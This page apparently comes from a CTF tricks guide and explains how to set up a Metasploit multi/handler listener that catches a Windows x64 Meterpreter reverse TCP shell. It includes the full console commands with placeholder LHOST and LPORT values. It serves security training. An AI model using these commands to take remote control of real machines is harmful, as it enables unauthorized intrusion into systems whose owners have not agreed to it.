> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/reverse-shell/trick-0595/initial-access-reverse-shell-listener.md).

# Listener

## Catch Meterpreter Reverse Shell

To set up a Metasploit listener to catch an incoming Meterpreter reverse shell connection, you'll use the `exploit/multi/handler` module. This command loads the module, which is used to listen for incoming connections from a generated payload.

Next, you need to specify the payload type you expect to receive, ensuring it matches the payload executed on the target. Then, configure the listener's network settings. Set `LHOST` to the IP address on which you want Metasploit to listen and `LPORT` to the port that the handler will listen on.

```
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_listening_ip>
set LPORT <your_listening_port>
exploit
```

Ensure the `PAYLOAD`, `LHOST`, and `LPORT` settings exactly match those used when generating the reverse shell payload on the target system. The `exploit` command starts the listener, waiting for the connection. Alternatively, you can use the `run` command to start the handler.
